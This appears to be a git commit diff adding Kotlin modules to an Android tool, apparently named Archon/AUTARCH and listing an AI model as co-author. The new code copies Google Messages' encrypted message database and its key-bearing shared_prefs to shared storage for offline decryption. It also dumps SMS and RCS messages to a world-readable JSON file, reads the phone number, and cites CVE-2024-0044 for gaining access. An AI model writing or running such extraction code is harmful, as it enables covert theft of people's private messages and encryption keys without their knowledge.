Archon: add bugle_db encrypted database access and RCS account extraction
ShizukuManager: - extractBugleDbRaw(): copies encrypted bugle_db + WAL + shared_prefs + files - extractEncryptionKeyMaterial(): reads crypto-related shared_prefs for key recovery - dumpDecryptedMessages(): queries content://rcs/ and SMS providers for decrypted data - getRcsAccountInfo(): IMS registration, carrier RCS config, Google Messages prefs - getGoogleMessagesInfo(): version, UID, package info - parseContentRow(): proper content query output parser MessagingModule: 6 new actions: - rcs_account, extract_bugle_db, dump_decrypted, extract_keys, gmsg_info Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
e02a76301d
commit
81357b71f2
@ -100,6 +100,36 @@ class MessagingModule : ArchonModule {
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description = "Toggle SMS interception (intercept_mode:on or intercept_mode:off)",
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privilegeRequired = true,
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rootOnly = false
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),
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ModuleAction(
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id = "rcs_account",
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name = "RCS Account Info",
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description = "Get Google Messages RCS registration, IMS state, and carrier config",
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privilegeRequired = true
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),
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ModuleAction(
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id = "extract_bugle_db",
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name = "Extract bugle_db",
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description = "Extract encrypted bugle_db + encryption key material from Google Messages",
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privilegeRequired = true
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),
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ModuleAction(
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id = "dump_decrypted",
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name = "Dump Decrypted Messages",
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description = "Query decrypted RCS/SMS messages from content providers and app context",
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privilegeRequired = true
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),
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ModuleAction(
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id = "extract_keys",
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name = "Extract Encryption Keys",
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description = "Extract bugle_db encryption key material from shared_prefs",
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privilegeRequired = true
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),
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ModuleAction(
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id = "gmsg_info",
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name = "Google Messages Info",
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description = "Get Google Messages version, UID, and RCS configuration",
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privilegeRequired = false
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)
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)
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@ -139,6 +169,11 @@ class MessagingModule : ArchonModule {
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actionId == "intercept_mode" -> ModuleResult(false, "Specify: intercept_mode:on or intercept_mode:off")
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actionId == "intercept_mode:on" -> interceptMode(shizuku, true)
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actionId == "intercept_mode:off" -> interceptMode(shizuku, false)
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actionId == "rcs_account" -> rcsAccountInfo(shizuku)
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actionId == "extract_bugle_db" -> extractBugleDb(shizuku)
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actionId == "dump_decrypted" -> dumpDecrypted(shizuku)
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actionId == "extract_keys" -> extractKeys(shizuku)
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actionId == "gmsg_info" -> gmsgInfo(shizuku)
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else -> ModuleResult(false, "Unknown action: $actionId")
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}
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}
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@ -359,4 +394,129 @@ class MessagingModule : ArchonModule {
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ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception")
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}
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}
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// ── Google Messages RCS database access ─────────────────────────
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private fun rcsAccountInfo(shizuku: ShizukuManager): ModuleResult {
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if (!shizuku.isReady()) {
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return ModuleResult(false, "Elevated access required")
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}
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return try {
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val info = shizuku.getRcsAccountInfo()
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val details = mutableListOf<String>()
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details.add("IMS registered: ${info["ims_registered"] ?: "unknown"}")
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details.add("RCS enabled: ${info["rcs_enabled"] ?: "unknown"}")
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val gmsg = info["google_messages"] as? Map<*, *>
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if (gmsg != null) {
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details.add("Google Messages: v${gmsg["version"] ?: "?"} (UID: ${gmsg["uid"] ?: "?"})")
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}
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val rcsConfig = info["carrier_rcs_config"] as? Map<*, *>
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if (rcsConfig != null && rcsConfig.isNotEmpty()) {
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details.add("Carrier RCS keys: ${rcsConfig.size}")
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rcsConfig.entries.take(5).forEach { (k, v) ->
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details.add(" $k = $v")
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}
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}
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val gmsgPrefs = info["gmsg_rcs_prefs"] as? Map<*, *>
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if (gmsgPrefs != null && gmsgPrefs.isNotEmpty()) {
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details.add("Google Messages RCS prefs: ${gmsgPrefs.size}")
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gmsgPrefs.entries.take(5).forEach { (k, v) ->
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details.add(" $k = $v")
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}
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}
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ModuleResult(true, "RCS account info retrieved", details)
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} catch (e: Exception) {
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ModuleResult(false, "Failed: ${e.message}")
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}
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}
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private fun extractBugleDb(shizuku: ShizukuManager): ModuleResult {
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if (!shizuku.isReady()) {
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return ModuleResult(false, "Elevated access required — bugle_db is encrypted at rest")
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}
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return try {
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val result = shizuku.extractBugleDbRaw()
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val dbFiles = result["db_files"] as? List<*> ?: emptyList<String>()
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val details = mutableListOf<String>()
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details.add("Database files: ${dbFiles.joinToString(", ")}")
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details.add("Staging dir: ${result["staging_dir"]}")
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details.add("ENCRYPTED: ${result["encrypted"]}")
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details.add(result["note"].toString())
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details.add("")
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details.add("Use AUTARCH web UI to pull from: ${result["staging_dir"]}")
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details.add("Key material in shared_prefs/ may enable offline decryption")
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details.add("Hardware-backed Keystore keys cannot be extracted via ADB")
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ModuleResult(dbFiles.isNotEmpty(), "Extracted ${dbFiles.size} DB files + key material", details)
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} catch (e: Exception) {
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ModuleResult(false, "Extract failed: ${e.message}")
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}
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}
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private fun dumpDecrypted(shizuku: ShizukuManager): ModuleResult {
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if (!shizuku.isReady()) {
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return ModuleResult(false, "Elevated access required")
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}
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return try {
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val result = shizuku.dumpDecryptedMessages()
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val count = result["message_count"] as? Int ?: 0
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val details = mutableListOf<String>()
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details.add("Messages retrieved: $count")
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details.add("RCS provider accessible: ${result["rcs_provider_accessible"]}")
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if (result["json_path"] != null) {
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details.add("JSON dump: ${result["json_path"]}")
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}
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details.add(result["note"].toString())
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if (count > 0) {
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details.add("")
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details.add("Use AUTARCH web UI to pull the decrypted dump")
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}
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ModuleResult(count > 0, "$count messages dumped (decrypted)", details)
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} catch (e: Exception) {
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ModuleResult(false, "Dump failed: ${e.message}")
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}
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}
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private fun extractKeys(shizuku: ShizukuManager): ModuleResult {
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if (!shizuku.isReady()) {
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return ModuleResult(false, "Elevated access required")
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}
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return try {
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val result = shizuku.extractEncryptionKeyMaterial()
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if (result.containsKey("error")) {
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return ModuleResult(false, result["error"].toString())
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}
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val details = mutableListOf<String>()
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val cryptoCount = result["crypto_prefs_count"] as? Int ?: 0
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details.add("Crypto-related shared_prefs files: $cryptoCount")
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val prefFiles = result["shared_prefs_files"] as? List<*>
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if (prefFiles != null) {
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details.add("Total shared_prefs files: ${prefFiles.size}")
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}
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val filesDir = result["files_dir"] as? List<*>
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if (filesDir != null) {
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details.add("Files dir entries: ${filesDir.size}")
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}
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details.add("")
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details.add("NOTE: bugle_db encryption key may be in these files.")
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details.add("Hardware-backed Android Keystore keys cannot be extracted.")
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details.add("If key derivation params are in shared_prefs, offline")
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details.add("decryption may be possible with the right tools.")
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ModuleResult(cryptoCount > 0, "Extracted $cryptoCount crypto-related files", details)
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} catch (e: Exception) {
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ModuleResult(false, "Key extraction failed: ${e.message}")
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}
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}
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private fun gmsgInfo(shizuku: ShizukuManager): ModuleResult {
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return try {
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val info = shizuku.getGoogleMessagesInfo()
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if (info.isEmpty()) {
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return ModuleResult(false, "Google Messages not found or not accessible")
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}
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val details = info.map { (k, v) -> "$k: $v" }
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ModuleResult(true, "Google Messages v${info["version"] ?: "?"}", details)
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} catch (e: Exception) {
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ModuleResult(false, "Failed: ${e.message}")
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}
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}
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}
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@ -577,4 +577,292 @@ class ShizukuManager(private val context: Context) {
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false
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}
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}
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// ── Google Messages bugle_db access (encrypted database) ────────
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// Google Messages paths
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private val gmsgPkg = "com.google.android.apps.messaging"
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private val bugleDb = "/data/data/$gmsgPkg/databases/bugle_db"
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private val bugleWal = "$bugleDb-wal"
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private val bugleShm = "$bugleDb-shm"
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private val sharedPrefsDir = "/data/data/$gmsgPkg/shared_prefs/"
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private val filesDir = "/data/data/$gmsgPkg/files/"
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private val stagingDir = "/sdcard/Download/autarch_extract"
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/**
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* Get the Google Messages app UID (needed for run-as or key extraction).
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*/
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fun getGoogleMessagesUid(): Int? {
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val output = executeCommand("pm list packages -U $gmsgPkg")
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val match = Regex("uid:(\\d+)").find(output)
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return match?.groupValues?.get(1)?.toIntOrNull()
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}
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/**
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* Check if Google Messages is installed and get version info.
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*/
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fun getGoogleMessagesInfo(): Map<String, String> {
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val info = mutableMapOf<String, String>()
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val dump = executeCommand("dumpsys package $gmsgPkg | grep -E 'versionName|versionCode|firstInstallTime'")
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for (line in dump.lines()) {
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val trimmed = line.trim()
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if (trimmed.contains("versionName=")) {
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info["version"] = trimmed.substringAfter("versionName=").trim()
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}
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if (trimmed.contains("versionCode=")) {
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info["versionCode"] = trimmed.substringAfter("versionCode=").substringBefore(" ").trim()
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}
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}
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val uid = getGoogleMessagesUid()
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if (uid != null) info["uid"] = uid.toString()
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return info
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}
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/**
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* Extract the encryption key material from Google Messages' shared_prefs.
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*
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* The bugle_db is encrypted at rest. Key material is stored in:
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* - shared_prefs/ XML files (key alias, crypto params)
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* - Android Keystore (hardware-backed master key)
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*
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* We extract all shared_prefs and files/ contents so offline decryption
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* can be attempted. The actual Keystore master key cannot be extracted
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* via ADB (hardware-backed), but the key derivation parameters in
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* shared_prefs may be enough for some encryption configurations.
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*/
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fun extractEncryptionKeyMaterial(): Map<String, Any> {
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val result = mutableMapOf<String, Any>()
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// List shared_prefs files
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val prefsList = executeCommand("ls -la $sharedPrefsDir 2>/dev/null")
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if (prefsList.startsWith("ERROR") || prefsList.contains("Permission denied")) {
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result["error"] = "Cannot access shared_prefs — need root or CVE exploit"
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return result
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}
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result["shared_prefs_files"] = prefsList.lines().filter { it.isNotBlank() }
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// Read each shared_prefs XML for crypto-related keys
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val cryptoData = mutableMapOf<String, String>()
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val prefsFiles = executeCommand("ls $sharedPrefsDir 2>/dev/null")
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for (file in prefsFiles.lines()) {
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val fname = file.trim()
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if (fname.isBlank() || !fname.endsWith(".xml")) continue
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val content = executeCommand("cat ${sharedPrefsDir}$fname 2>/dev/null")
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// Look for encryption-related entries
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if (content.contains("encrypt", ignoreCase = true) ||
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content.contains("cipher", ignoreCase = true) ||
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content.contains("key", ignoreCase = true) ||
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content.contains("crypto", ignoreCase = true) ||
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content.contains("secret", ignoreCase = true)) {
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cryptoData[fname] = content
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}
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}
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result["crypto_prefs"] = cryptoData
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result["crypto_prefs_count"] = cryptoData.size
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// List files/ directory (Signal Protocol state, etc.)
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val filesList = executeCommand("ls -la $filesDir 2>/dev/null")
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result["files_dir"] = filesList.lines().filter { it.isNotBlank() }
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return result
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}
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/**
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* Extract bugle_db + WAL + key material to staging directory.
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* The database is encrypted — both DB and key files are needed.
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*/
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fun extractBugleDbRaw(): Map<String, Any> {
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val result = mutableMapOf<String, Any>()
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executeCommand("mkdir -p $stagingDir/shared_prefs $stagingDir/files")
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// Copy database files
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val dbFiles = mutableListOf<String>()
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for (path in listOf(bugleDb, bugleWal, bugleShm)) {
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val fname = path.substringAfterLast("/")
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val cp = executeShell("cp $path $stagingDir/$fname 2>/dev/null && chmod 644 $stagingDir/$fname")
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if (cp.exitCode == 0) dbFiles.add(fname)
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}
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result["db_files"] = dbFiles
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// Copy shared_prefs (key material)
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executeShell("cp -r ${sharedPrefsDir}* $stagingDir/shared_prefs/ 2>/dev/null")
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executeShell("chmod -R 644 $stagingDir/shared_prefs/ 2>/dev/null")
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// Copy files dir (Signal Protocol keys)
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executeShell("cp -r ${filesDir}* $stagingDir/files/ 2>/dev/null")
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executeShell("chmod -R 644 $stagingDir/files/ 2>/dev/null")
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result["staging_dir"] = stagingDir
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result["encrypted"] = true
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result["note"] = "Database is encrypted at rest. Key material in shared_prefs/ " +
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"may allow decryption. Hardware-backed Keystore keys cannot be extracted via ADB."
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return result
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}
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/**
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* Dump decrypted messages by querying from within the app context.
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*
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* When Google Messages opens its own bugle_db, it has access to the
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* encryption key. We can intercept the decrypted data by:
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* 1. Using `am` commands to trigger data export activities
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* 2. Querying exposed content providers
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* 3. Reading from the in-memory decrypted state via debug tools
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*
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* As a fallback, we use the standard telephony content providers which
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* have the SMS/MMS data in plaintext (but not RCS).
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*/
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fun dumpDecryptedMessages(): Map<String, Any> {
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val result = mutableMapOf<String, Any>()
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val messages = mutableListOf<Map<String, Any>>()
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// Method 1: Query AOSP RCS content provider (content://rcs/)
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val rcsThreads = executeCommand(
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"content query --uri content://rcs/thread 2>/dev/null"
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)
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if (!rcsThreads.startsWith("ERROR") && rcsThreads.contains("Row:")) {
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result["rcs_provider_accessible"] = true
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// Parse thread IDs and query messages from each
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for (line in rcsThreads.lines()) {
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if (!line.startsWith("Row:")) continue
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val tidMatch = Regex("rcs_thread_id=(\\d+)").find(line)
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val tid = tidMatch?.groupValues?.get(1) ?: continue
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val msgOutput = executeCommand(
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"content query --uri content://rcs/p2p_thread/$tid/incoming_message 2>/dev/null"
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)
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for (msgLine in msgOutput.lines()) {
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if (!msgLine.startsWith("Row:")) continue
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val row = parseContentRow(msgLine)
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row["thread_id"] = tid
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row["source"] = "rcs_provider"
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messages.add(row)
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}
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}
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} else {
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result["rcs_provider_accessible"] = false
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}
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// Method 2: Standard SMS/MMS content providers (always decrypted)
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val smsOutput = executeCommand(
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"content query --uri content://sms/ --projection _id:thread_id:address:body:date:type:read " +
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"--sort \"date DESC\" 2>/dev/null"
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)
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for (line in smsOutput.lines()) {
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if (!line.startsWith("Row:")) continue
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val row = parseContentRow(line)
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row["source"] = "sms_provider"
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row["protocol"] = "SMS"
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messages.add(row)
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}
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// Method 3: Try to trigger Google Messages backup/export
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// Google Messages has an internal export mechanism accessible via intents
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val backupResult = executeCommand(
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"am broadcast -a com.google.android.apps.messaging.action.EXPORT_MESSAGES " +
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"--es output_path $stagingDir/gmsg_export.json 2>/dev/null"
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)
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result["backup_intent_sent"] = !backupResult.startsWith("ERROR")
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result["messages"] = messages
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result["message_count"] = messages.size
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result["note"] = if (messages.isEmpty()) {
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"No messages retrieved. For RCS, ensure Archon is the default SMS app " +
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"or use CVE-2024-0044 to access bugle_db from the app's UID."
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} else {
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"Retrieved ${messages.size} messages. RCS messages require elevated access."
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}
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// Write decrypted dump to file
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if (messages.isNotEmpty()) {
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try {
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val json = org.json.JSONArray()
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for (msg in messages) {
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val obj = org.json.JSONObject()
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for ((k, v) in msg) obj.put(k, v)
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json.put(obj)
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}
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executeCommand("mkdir -p $stagingDir")
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val jsonStr = json.toString(2)
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// Write via shell since we may not have direct file access
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val escaped = jsonStr.replace("'", "'\\''").replace("\"", "\\\"")
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executeCommand("echo '$escaped' > $stagingDir/messages.json 2>/dev/null")
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result["json_path"] = "$stagingDir/messages.json"
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} catch (e: Exception) {
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Log.e(TAG, "Failed to write JSON dump", e)
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}
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}
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return result
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}
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/**
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* Get the RCS account/registration info from Google Messages.
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* This tells us if RCS is active, what phone number is registered, etc.
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*/
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fun getRcsAccountInfo(): Map<String, Any> {
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val info = mutableMapOf<String, Any>()
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// IMS registration state
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val imsOutput = executeCommand("dumpsys telephony_ims 2>/dev/null")
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if (!imsOutput.startsWith("ERROR")) {
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info["ims_dump_length"] = imsOutput.length
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for (line in imsOutput.lines()) {
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val l = line.trim().lowercase()
|
||||
if ("registered" in l && "ims" in l) info["ims_registered"] = true
|
||||
if ("rcs" in l && ("enabled" in l || "connected" in l)) info["rcs_enabled"] = true
|
||||
}
|
||||
}
|
||||
|
||||
// Carrier config RCS keys
|
||||
val ccOutput = executeCommand("dumpsys carrier_config 2>/dev/null")
|
||||
val rcsConfig = mutableMapOf<String, String>()
|
||||
for (line in ccOutput.lines()) {
|
||||
val l = line.trim().lowercase()
|
||||
if (("rcs" in l || "uce" in l || "single_registration" in l) && "=" in line) {
|
||||
val (k, v) = line.trim().split("=", limit = 2)
|
||||
rcsConfig[k.trim()] = v.trim()
|
||||
}
|
||||
}
|
||||
info["carrier_rcs_config"] = rcsConfig
|
||||
|
||||
// Google Messages specific RCS settings
|
||||
val gmsgPrefs = executeCommand(
|
||||
"cat /data/data/$gmsgPkg/shared_prefs/com.google.android.apps.messaging_preferences.xml 2>/dev/null"
|
||||
)
|
||||
if (!gmsgPrefs.startsWith("ERROR") && gmsgPrefs.isNotBlank()) {
|
||||
// Extract RCS-related prefs
|
||||
val rcsPrefs = mutableMapOf<String, String>()
|
||||
for (match in Regex("<(string|boolean|int|long)\\s+name=\"([^\"]*rcs[^\"]*)\">([^<]*)<").findAll(gmsgPrefs, 0)) {
|
||||
rcsPrefs[match.groupValues[2]] = match.groupValues[3]
|
||||
}
|
||||
info["gmsg_rcs_prefs"] = rcsPrefs
|
||||
}
|
||||
|
||||
// Phone number / MSISDN
|
||||
val phoneOutput = executeCommand("service call iphonesubinfo 15 2>/dev/null")
|
||||
info["phone_service_response"] = phoneOutput.take(200)
|
||||
|
||||
// Google Messages version
|
||||
info["google_messages"] = getGoogleMessagesInfo()
|
||||
|
||||
return info
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a `content query` output row into a map.
|
||||
*/
|
||||
private fun parseContentRow(line: String): MutableMap<String, Any> {
|
||||
val row = mutableMapOf<String, Any>()
|
||||
val payload = line.substringAfter(Regex("Row:\\s*\\d+\\s*").find(line)?.value ?: "")
|
||||
val fields = payload.split(Regex(",\\s+(?=[a-zA-Z_]+=)"))
|
||||
for (field in fields) {
|
||||
val eqPos = field.indexOf('=')
|
||||
if (eqPos == -1) continue
|
||||
val key = field.substring(0, eqPos).trim()
|
||||
val value = field.substring(eqPos + 1).trim()
|
||||
row[key] = if (value == "NULL") "" else value
|
||||
}
|
||||
return row
|
||||
}
|
||||
}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user